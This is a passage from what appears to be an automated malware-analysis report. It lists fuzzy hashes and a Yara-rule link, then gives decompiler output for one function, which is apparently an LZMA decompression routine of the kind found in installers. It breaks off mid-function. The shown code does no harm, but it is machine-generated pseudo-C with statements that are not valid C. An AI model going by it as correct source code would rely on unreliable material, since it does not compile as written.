Opcode Fuzzy Hash: 9f777e2b5f047ff5fac18a6b7d4eccb0398312e185884248bc8ff9efca1ede3f
Instruction Fuzzy Hash: 7EA15371E00229CBDF28DFA8C8447ADBBB1FB45305F11816ED816BB281C7786A96DF44

Uniqueness

Uniqueness Score: -1.00%

Function 00406969 Relevance: 5.2, APIs: 4, Instructions: 208
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E00406969() {
				void _t533;
				signed int _t534;
				signed int _t535;
				signed int* _t605;
				void* _t612;

				L0:
				while(1) {
					L0:
					if( *(_t612 - 0x40) != 0) {
						 *(_t612 - 0x84) = 0x13;
						_t605 =  *((intOrPtr*)(_t612 - 0x58)) + 2;
						goto L132;
					} else {
						__eax =  *(__ebp - 0x4c);
						 *(__ebp - 0x30) =  *(__ebp - 0x30) & 0x00000000;
						__ecx =  *(__ebp - 0x58);
						__eax =  *(__ebp - 0x4c) << 4;
						__eax =  *(__ebp - 0x58) + __eax + 4;
						L130:
						 *(__ebp - 0x58) = __eax;
						 *(__ebp - 0x40) = 3;
						L144:
						 *(__ebp - 0x7c) = 0x14;
						L145:
						__eax =  *(__ebp - 0x40);
						 *(__ebp - 0x50) = 1;
						 *(__ebp - 0x48) =  *(__ebp - 0x40);
						L149:
						if( *(__ebp - 0x48) <= 0) {
							__ecx =  *(__ebp - 0x40);
							__ebx =  *(__ebp - 0x50);
							0 = 1;
							__eax = 1 << __cl;
							__ebx =  *(__ebp - 0x50) - (1 << __cl);
							__eax =  *(__ebp - 0x7c);
							 *(__ebp - 0x44) = __ebx;
							while(1) {
								L140:
								 *(_t612 - 0x88) = _t533;
								while(1) {
									L1:
									_t534 =  *(_t612 - 0x88);
									if(_t534 > 0x1c) {
										break;
									}
									switch( *((intOrPtr*)(_t534 * 4 +  &M00406BD6))) {
										case 0:
											if( *(_t612 - 0x6c) == 0) {
												goto L170;
											}
											 *(_t612 - 0x6c) =  *(_t612 - 0x6c) - 1;
											 *(_t612 - 0x70) =  &(( *(_t612 - 0x70))[1]);
											_t534 =  *( *(_t612 - 0x70));
											if(_t534 > 0xe1) {
												goto L171;
											}
											_t538 = _t534 & 0x000000ff;
											_push(0x2d);
											asm("cdq");
											_pop(_t569);
											_push(9);
											_pop(_t570);
											_t608 = _t538 / _t569;
											_t540 = _t538 % _t569 & 0x000000ff;
											asm("cdq");
											_t603 = _t540 % _t570 & 0x000000ff;
											 *(_t612 - 0x3c) = _t603;
											 *(_t612 - 0x1c) = (1 << _t608) - 1;
											 *((intOrPtr*)(_t612 - 0x18)) = (1 << _t540 / _t570) - 1;
											_t611 = (0x300 << _t603 + _t608) + 0x736;
											if(0x600 ==  *((intOrPtr*)(_t612 - 0x78))) {
												L10:
												if(_t611 == 0) {
													L12:
													 *(_t612 - 0x48) =  *(_t612 - 0x48) & 0x00000000;
													 *(_t612 - 0x40) =  *(_t612 - 0x40) & 0x00000000;
													goto L15;
												} else {
													goto L11;
												}
												do {
													L11:
													_t611 = _t611 - 1;
													 *((short*)( *(_t612 - 4) + _t611 * 2)) = 0x400;
												} while (_t611 != 0);
												goto L12;
											}
											if( *(_t612 - 4) != 0) {
												GlobalFree( *(_t612 - 4));
											}
											_t534 = GlobalAlloc(0x40, 0x600); // executed
											 *(_t612 - 4) = _t534;
											if(_t534 == 0) {
												goto L171;
											} else {
												 *((intOrPtr*)(_t612 - 0x78)) = 0x600;
												goto L10;
											}
										case 1:
											L13:
											__eflags =  *(_t612 - 0x6c);
											if( *(_t612 - 0x6c) == 0) {
												 *(_t612 - 0x88) = 1;
												goto L170;
											}
											 *(_t612 - 0x6c) =  *(_t612 - 0x6c) - 1;
											 *(_t612 - 0x40) =  *(_t612 - 0x40) | ( *( *(_t612 - 0x70)) & 0x000000ff) <<  *(_t612 - 0x48) << 0x00000003;
											 *(_t612 - 0x70) =  &(( *(_t612 - 0x70))[1]);
											_t45 = _t612 - 0x48;
											 *_t45 =  *(_t612 - 0x48) + 1;
											__eflags =  *_t45;
											L15:
											if( *(_t612 - 0x48) < 4) {
												goto L13;
											}
											_t546 =  *(_t612 - 0x40);
											if(_t546 ==  *(_t612 - 0x74)) {
												L20:
												 *(_t612 - 0x48) = 5;
												 *( *(_t612 - 8) +  *(_t612 - 0x74) - 1) =  *( *(_t612 - 8) +  *(_t612 - 0x74) - 1) & 0x00000000;
												goto L23;
											}
											 *(_t612 - 0x74) = _t546;
											if( *(_t612 - 8) != 0) {
												GlobalFree( *(_t612 - 8));
											}
											_t534 = GlobalAlloc(0x40,  *(_t612 - 0x40)); // executed
											 *(_t612 - 8) = _t534;
											if(_t534 == 0) {
												goto L171;
											} else {
												goto L20;
											}
										case 2:
											L24:
											_t553 =  *(_t612 - 0x60) &  *(_t612 - 0x1c);
											 *(_t612 - 0x84) = 6;
											 *(_t612 - 0x4c) = _t553;
											_t605 =  *(_t612 - 4) + (( *(_t612 - 0x38) << 4) + _t553) * 2;
											goto L132;
										case 3:
											L21:
											__eflags =  *(_t612 - 0x6c);
											if( *(_t612 - 0x6c) == 0) {
												 *(_t612 - 0x88) = 3;
												goto L170;
											}
											 *(_t612 - 0x6c) =  *(_t612 - 0x6c) - 1;
											_t67 = _t612 - 0x70;
											 *_t67 =  &(( *(_t612 - 0x70))[1]);
											__eflags =  *_t67;
											 *(_t612 - 0xc) =  *(_t612 - 0xc) << 0x00000008 |  *( *(_t612 - 0x70)) & 0x000000ff;
											L23:
											 *(_t612 - 0x48) =  *(_t612 - 0x48) - 1;
											if( *(_t612 - 0x48) != 0) {
												goto L21;
											}
											goto L24;
										case 4:
											L133:
											_t531 =  *_t605;
											_t588 = _t531 & 0x0000ffff;
											_t564 = ( *(_t612 - 0x10) >> 0xb) * _t588;
											if( *(_t612 - 0xc) >= _t564) {
												 *(_t612 - 0x10) =  *(_t612 - 0x10) - _t564;
												 *(_t612 - 0xc) =  *(_t612 - 0xc) - _t564;
												 *(_t612 - 0x40) = 1;
												_t532 = _t531 - (_t531 >> 5);
												__eflags = _t532;
												 *_t605 = _t532;
											} else {
												 *(_t612 - 0x10) = _t564;
												 *(_t612 - 0x40) =  *(_t612 - 0x40) & 0x00000000;
												 *_t605 = (0x800 - _t588 >> 5) + _t531;
											}
											if( *(_t612 - 0x10) >= 0x1000000) {
												goto L139;
											} else {
												goto L137;
											}
										case 5:
											L137:
											if( *(_t612 - 0x6c) == 0) {
												 *(_t612 - 0x88) = 5;
												goto L170;
											}
											 *(_t612 - 0x10) =  *(_t612 - 0x10) << 8;
											 *(_t612 - 0x6c) =  *(_t612 - 0x6c) - 1;
											 *(_t612 - 0x70) =  &(( *(_t612 - 0x70))[1]);
											 *(_t612 - 0xc) =  *(_t612 - 0xc) << 0x00000008 |  *( *(_t612 - 0x70)) & 0x000000ff;
											L139:
											_t533 =  *(_t612 - 0x84);
											goto L140;
										case 6:
											__edx = 0;
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x34) = 1;
												 *(__ebp - 0x84) = 7;
												__esi =  *(__ebp - 4) + 0x180 +  *(__ebp - 0x38) * 2;
												goto L132;
											}
											__eax =  *(__ebp - 0x5c) & 0x000000ff;
											__esi =  *(__ebp - 0x60);
											__cl = 8;
											__cl = 8 -  *(__ebp - 0x3c);
											__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
											__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
											__ecx =  *(__ebp - 0x3c);
											__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
											__ecx =  *(__ebp - 4);
											(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
											__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
											__eflags =  *(__ebp - 0x38) - 4;
											__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
											 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
											if( *(__ebp - 0x38) >= 4) {
												__eflags =  *(__ebp - 0x38) - 0xa;
												if( *(__ebp - 0x38) >= 0xa) {
													_t98 = __ebp - 0x38;
													 *_t98 =  *(__ebp - 0x38) - 6;
													__eflags =  *_t98;
												} else {
													 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
												}
											} else {
												 *(__ebp - 0x38) = 0;
											}
											__eflags =  *(__ebp - 0x34) - __edx;
											if( *(__ebp - 0x34) == __edx) {
												__ebx = 0;
												__ebx = 1;
												goto L61;
											} else {
												__eax =  *(__ebp - 0x14);
												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
												__eflags = __eax -  *(__ebp - 0x74);
												if(__eax >=  *(__ebp - 0x74)) {
													__eax = __eax +  *(__ebp - 0x74);
													__eflags = __eax;
												}
												__ecx =  *(__ebp - 8);
												__ebx = 0;
												__ebx = 1;
												__al =  *((intOrPtr*)(__eax + __ecx));
												 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
												goto L41;
											}
										case 7:
											__eflags =  *(__ebp - 0x40) - 1;
											if( *(__ebp - 0x40) != 1) {
												__eax =  *(__ebp - 0x24);
												 *(__ebp - 0x80) = 0x16;
												 *(__ebp - 0x20) =  *(__ebp - 0x24);
												__eax =  *(__ebp - 0x28);
												 *(__ebp - 0x24) =  *(__ebp - 0x28);
												__eax =  *(__ebp - 0x2c);
												 *(__ebp - 0x28) =  *(__ebp - 0x2c);
												__eax = 0;
												__eflags =  *(__ebp - 0x38) - 7;
												0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
												__al = __al & 0x000000fd;
												__eax = (__eflags >= 0) - 1 + 0xa;
												 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xa;
												__eax =  *(__ebp - 4);
												__eax =  *(__ebp - 4) + 0x664;
												__eflags = __eax;
												 *(__ebp - 0x58) = __eax;
												goto L69;
											}
											__eax =  *(__ebp - 4);
											__ecx =  *(__ebp - 0x38);
											 *(__ebp - 0x84) = 8;
											__esi =  *(__ebp - 4) + 0x198 +  *(__ebp - 0x38) * 2;
											goto L132;
										case 8:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x84) = 0xa;
												__esi =  *(__ebp - 4) + 0x1b0 +  *(__ebp - 0x38) * 2;
											} else {
												__eax =  *(__ebp - 0x38);
												__ecx =  *(__ebp - 4);
												__eax =  *(__ebp - 0x38) + 0xf;
												 *(__ebp - 0x84) = 9;
												 *(__ebp - 0x38) + 0xf << 4 = ( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c);
												__esi =  *(__ebp - 4) + (( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c)) * 2;
											}
											goto L132;
										case 9:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												goto L90;
											}
											__eflags =  *(__ebp - 0x60);
											if( *(__ebp - 0x60) == 0) {
												goto L171;
											}
											__eax = 0;
											__eflags =  *(__ebp - 0x38) - 7;
											_t259 =  *(__ebp - 0x38) - 7 >= 0;
											__eflags = _t259;
											0 | _t259 = _t259 + _t259 + 9;
											 *(__ebp - 0x38) = _t259 + _t259 + 9;
											goto L76;
										case 0xa:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x84) = 0xb;
												__esi =  *(__ebp - 4) + 0x1c8 +  *(__ebp - 0x38) * 2;
												goto L132;
											}
											__eax =  *(__ebp - 0x28);
											goto L89;
										case 0xb:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__ecx =  *(__ebp - 0x24);
												__eax =  *(__ebp - 0x20);
												 *(__ebp - 0x20) =  *(__ebp - 0x24);
											} else {
												__eax =  *(__ebp - 0x24);
											}
											__ecx =  *(__ebp - 0x28);
											 *(__ebp - 0x24) =  *(__ebp - 0x28);
											L89:
											__ecx =  *(__ebp - 0x2c);
											 *(__ebp - 0x2c) = __eax;
											 *(__ebp - 0x28) =  *(__ebp - 0x2c);
											L90:
											__eax =  *(__ebp - 4);
											 *(__ebp - 0x80) = 0x15;
											__eax =  *(__ebp - 4) + 0xa68;
											 *(__ebp - 0x58) =  *(__ebp - 4) + 0xa68;
											goto L69;
										case 0xc:
											L100:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0xc;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t335 = __ebp - 0x70;
											 *_t335 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t335;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											__eax =  *(__ebp - 0x2c);
											goto L102;
										case 0xd:
											L37:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0xd;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t122 = __ebp - 0x70;
											 *_t122 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t122;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											L39:
											__eax =  *(__ebp - 0x40);
											__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
											if( *(__ebp - 0x48) !=  *(__ebp - 0x40)) {
												goto L48;
											}
											__eflags = __ebx - 0x100;
											if(__ebx >= 0x100) {
												goto L54;
											}
											L41:
											__eax =  *(__ebp - 0x5b) & 0x000000ff;
											 *(__ebp - 0x5b) =  *(__ebp - 0x5b) << 1;
											__ecx =  *(__ebp - 0x58);
											__eax = ( *(__ebp - 0x5b) & 0x000000ff) >> 7;
											 *(__ebp - 0x48) = __eax;
											__eax = __eax + 1;
											__eax = __eax << 8;
											__eax = __eax + __ebx;
											__esi =  *(__ebp - 0x58) + __eax * 2;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
											__ax =  *__esi;
											 *(__ebp - 0x54) = __esi;
											__edx = __ax & 0x0000ffff;
											__ecx = ( *(__ebp - 0x10) >> 0xb) * __edx;
											__eflags =  *(__ebp - 0xc) - __ecx;
											if( *(__ebp - 0xc) >= __ecx) {
												 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
												__cx = __ax;
												 *(__ebp - 0x40) = 1;
												__cx = __ax >> 5;
												__eflags = __eax;
												__ebx = __ebx + __ebx + 1;
												 *__esi = __ax;
											} else {
												 *(__ebp - 0x40) =  *(__ebp - 0x40) & 0x00000000;
												 *(__ebp - 0x10) = __ecx;
												0x800 = 0x800 - __edx;
												0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
												__ebx = __ebx + __ebx;
												 *__esi = __cx;
											}
											__eflags =  *(__ebp - 0x10) - 0x1000000;
											 *(__ebp - 0x44) = __ebx;
											if( *(__ebp - 0x10) >= 0x1000000) {
												goto L39;
											} else {
												goto L37;
											}
										case 0xe:
											L46:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0xe;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t156 = __ebp - 0x70;
											 *_t156 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t156;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											while(1) {
												L48:
												__eflags = __ebx - 0x100;
												if(__ebx >= 0x100) {
													break;
												}
												__eax =  *(__ebp - 0x58);
												__edx = __ebx + __ebx;
												__ecx =  *(__ebp - 0x10);
												__esi = __edx + __eax;
												__ecx =  *(__ebp - 0x10) >> 0xb;
												__ax =  *__esi;
												 *(__ebp - 0x54) = __esi;
												__edi = __ax & 0x0000ffff;
												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
												__eflags =  *(__ebp - 0xc) - __ecx;
												if( *(__ebp - 0xc) >= __ecx) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
													__cx = __ax;
													_t170 = __edx + 1; // 0x1
													__ebx = _t170;
													__cx = __ax >> 5;
													__eflags = __eax;
													 *__esi = __ax;
												} else {
													 *(__ebp - 0x10) = __ecx;
													0x800 = 0x800 - __edi;
													0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
													__ebx = __ebx + __ebx;
													 *__esi = __cx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												 *(__ebp - 0x44) = __ebx;
												if( *(__ebp - 0x10) >= 0x1000000) {
													continue;
												} else {
													goto L46;
												}
											}
											L54:
											_t173 = __ebp - 0x34;
											 *_t173 =  *(__ebp - 0x34) & 0x00000000;
											__eflags =  *_t173;
											goto L55;
										case 0xf:
											L58:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0xf;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t203 = __ebp - 0x70;
											 *_t203 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t203;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											L60:
											__eflags = __ebx - 0x100;
											if(__ebx >= 0x100) {
												L55:
												__al =  *(__ebp - 0x44);
												 *(__ebp - 0x5c) =  *(__ebp - 0x44);
												goto L56;
											}
											L61:
											__eax =  *(__ebp - 0x58);
											__edx = __ebx + __ebx;
											__ecx =  *(__ebp - 0x10);
											__esi = __edx + __eax;
											__ecx =  *(__ebp - 0x10) >> 0xb;
											__ax =  *__esi;
											 *(__ebp - 0x54) = __esi;
											__edi = __ax & 0x0000ffff;
											__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
											__eflags =  *(__ebp - 0xc) - __ecx;
											if( *(__ebp - 0xc) >= __ecx) {
												 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
												__cx = __ax;
												_t217 = __edx + 1; // 0x1
												__ebx = _t217;
												__cx = __ax >> 5;
												__eflags = __eax;
												 *__esi = __ax;
											} else {
												 *(__ebp - 0x10) = __ecx;
												0x800 = 0x800 - __edi;
												0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
												__ebx = __ebx + __ebx;
												 *__esi = __cx;
											}
											__eflags =  *(__ebp - 0x10) - 0x1000000;
											 *(__ebp - 0x44) = __ebx;
											if( *(__ebp - 0x10) >= 0x1000000) {
												goto L60;
											} else {
												goto L58;
											}
										case 0x10:
											L110:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0x10;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t366 = __ebp - 0x70;
											 *_t366 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t366;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											goto L112;
										case 0x11:
											L69:
											__esi =  *(__ebp - 0x58);
											 *(__ebp - 0x84) = 0x12;
											L132:
											 *(_t612 - 0x54) = _t605;
											goto L133;
										case 0x12:
											goto L0;
										case 0x13:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												_t469 = __ebp - 0x58;
												 *_t469 =  *(__ebp - 0x58) + 0x204;
												__eflags =  *_t469;
												 *(__ebp - 0x30) = 0x10;
												 *(__ebp - 0x40) = 8;
												goto L144;
											}
											__eax =  *(__ebp - 0x4c);
											__ecx =  *(__ebp - 0x58);
											__eax =  *(__ebp - 0x4c) << 4;
											 *(__ebp - 0x30) = 8;
											__eax =  *(__ebp - 0x58) + ( *(__ebp - 0x4c) << 4) + 0x104;
											goto L130;
										case 0x14:
											 *(__ebp - 0x30) =  *(__ebp - 0x30) + __ebx;
											__eax =  *(__ebp - 0x80);
											L140:
											 *(_t612 - 0x88) = _t533;
											goto L1;
										case 0x15:
											__eax = 0;
											__eflags =  *(__ebp - 0x38) - 7;
											0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
											__al = __al & 0x000000fd;
											__eax = (__eflags >= 0) - 1 + 0xb;
											 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xb;
											goto L121;
										case 0x16:
											__eax =  *(__ebp - 0x30);
											__eflags = __eax - 4;
											if(__eax >= 4) {
												_push(3);
												_pop(__eax);
											}
											__ecx =  *(__ebp - 4);
											 *(__ebp - 0x40) = 6;
											__eax = __eax << 7;
											 *(__ebp - 0x7c) = 0x19;
											 *(__ebp - 0x58) = __eax;
											goto L145;
										case 0x17:
											goto L145;
										case 0x18:
											L146:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0x18;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t484 = __ebp - 0x70;
											 *_t484 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t484;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											L148:
											_t487 = __ebp - 0x48;
											 *_t487 =  *(__ebp - 0x48) - 1;
											__eflags =  *_t487;
											goto L149;
										case 0x19:
											__eflags = __ebx - 4;
											if(__ebx < 4) {
												 *(__ebp - 0x2c) = __ebx;
												L120:
												_t394 = __ebp - 0x2c;
												 *_t394 =  *(__ebp - 0x2c) + 1;
												__eflags =  *_t394;
												L121:
												__eax =  *(__ebp - 0x2c);
												__eflags = __eax;
												if(__eax == 0) {
													 *(__ebp - 0x30) =  *(__ebp - 0x30) | 0xffffffff;
													goto L170;
												}
												__eflags = __eax -  *(__ebp - 0x60);
												if(__eax >  *(__ebp - 0x60)) {
													goto L171;
												}
												 *(__ebp - 0x30) =  *(__ebp - 0x30) + 2;
												__eax =  *(__ebp - 0x30);
												_t401 = __ebp - 0x60;
												 *_t401 =  *(__ebp - 0x60) +  *(__ebp - 0x30);
												__eflags =  *_t401;
												goto L124;
											}
											__ecx = __ebx;
											__eax = __ebx;
											__ecx = __ebx >> 1;
											__eax = __ebx & 0x00000001;
											__ecx = (__ebx >> 1) - 1;
											__al = __al | 0x00000002;
											__eax = (__ebx & 0x00000001) << __cl;
											__eflags = __ebx - 0xe;
											 *(__ebp - 0x2c) = __eax;
											if(__ebx >= 0xe) {
												__ebx = 0;
												 *(__ebp - 0x48) = __ecx;
												L103:
												__eflags =  *(__ebp - 0x48);
												if( *(__ebp - 0x48) <= 0) {
													__eax = __eax + __ebx;
													 *(__ebp - 0x40) = 4;
													 *(__ebp - 0x2c) = __eax;
													__eax =  *(__ebp - 4);
													__eax =  *(__ebp - 4) + 0x644;
													__eflags = __eax;
													L109:
													__ebx = 0;
													 *(__ebp - 0x58) = __eax;
													 *(__ebp - 0x50) = 1;
													 *(__ebp - 0x44) = 0;
													 *(__ebp - 0x48) = 0;
													L113:
													__eax =  *(__ebp - 0x40);
													__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
													if( *(__ebp - 0x48) >=  *(__ebp - 0x40)) {
														_t392 = __ebp - 0x2c;
														 *_t392 =  *(__ebp - 0x2c) + __ebx;
														__eflags =  *_t392;
														goto L120;
													}
													__eax =  *(__ebp - 0x50);
													 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
													__edi =  *(__ebp - 0x50) +  *(__ebp - 0x50);
													__eax =  *(__ebp - 0x58);
													__esi = __edi + __eax;
													 *(__ebp - 0x54) = __esi;
													__ax =  *__esi;
													__ecx = __ax & 0x0000ffff;
													__edx = ( *(__ebp - 0x10) >> 0xb) * __ecx;
													__eflags =  *(__ebp - 0xc) - __edx;
													if( *(__ebp - 0xc) >= __edx) {
														__ecx = 0;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) - __edx;
														__ecx = 1;
														 *(__ebp - 0xc) =  *(__ebp - 0xc) - __edx;
														__ebx = 1;
														__ecx =  *(__ebp - 0x48);
														__ebx = 1 << __cl;
														__ecx = 1 << __cl;
														__ebx =  *(__ebp - 0x44);
														__ebx =  *(__ebp - 0x44) | __ecx;
														__cx = __ax;
														__cx = __ax >> 5;
														__eax = __eax - __ecx;
														__edi = __edi + 1;
														__eflags = __edi;
														 *(__ebp - 0x44) = __ebx;
														 *__esi = __ax;
														 *(__ebp - 0x50) = __edi;
													} else {
														 *(__ebp - 0x10) = __edx;
														0x800 = 0x800 - __ecx;
														0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
														 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
														 *__esi = __dx;
													}
													__eflags =  *(__ebp - 0x10) - 0x1000000;
													if( *(__ebp - 0x10) >= 0x1000000) {
														L112:
														_t369 = __ebp - 0x48;
														 *_t369 =  *(__ebp - 0x48) + 1;
														__eflags =  *_t369;
														goto L113;
													} else {
														goto L110;
													}
												}
												__ecx =  *(__ebp - 0xc);
												__ebx = __ebx + __ebx;
												 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 1;
												__eflags =  *(__ebp - 0xc) -  *(__ebp - 0x10);
												 *(__ebp - 0x44) = __ebx;
												if( *(__ebp - 0xc) >=  *(__ebp - 0x10)) {
													__ecx =  *(__ebp - 0x10);
													 *(__ebp - 0xc) =  *(__ebp - 0xc) -  *(__ebp - 0x10);
													__ebx = __ebx | 0x00000001;
													__eflags = __ebx;
													 *(__ebp - 0x44) = __ebx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												if( *(__ebp - 0x10) >= 0x1000000) {
													L102:
													_t339 = __ebp - 0x48;
													 *_t339 =  *(__ebp - 0x48) - 1;
													__eflags =  *_t339;
													goto L103;
												} else {
													goto L100;
												}
											}
											__edx =  *(__ebp - 4);
											__eax = __eax - __ebx;
											 *(__ebp - 0x40) = __ecx;
											__eax =  *(__ebp - 4) + 0x55e + __eax * 2;
											goto L109;
										case 0x1a:
											L56:
											__eflags =  *(__ebp - 0x64);
											if( *(__ebp - 0x64) == 0) {
												 *(__ebp - 0x88) = 0x1a;
												goto L170;
											}
											__ecx =  *(__ebp - 0x68);
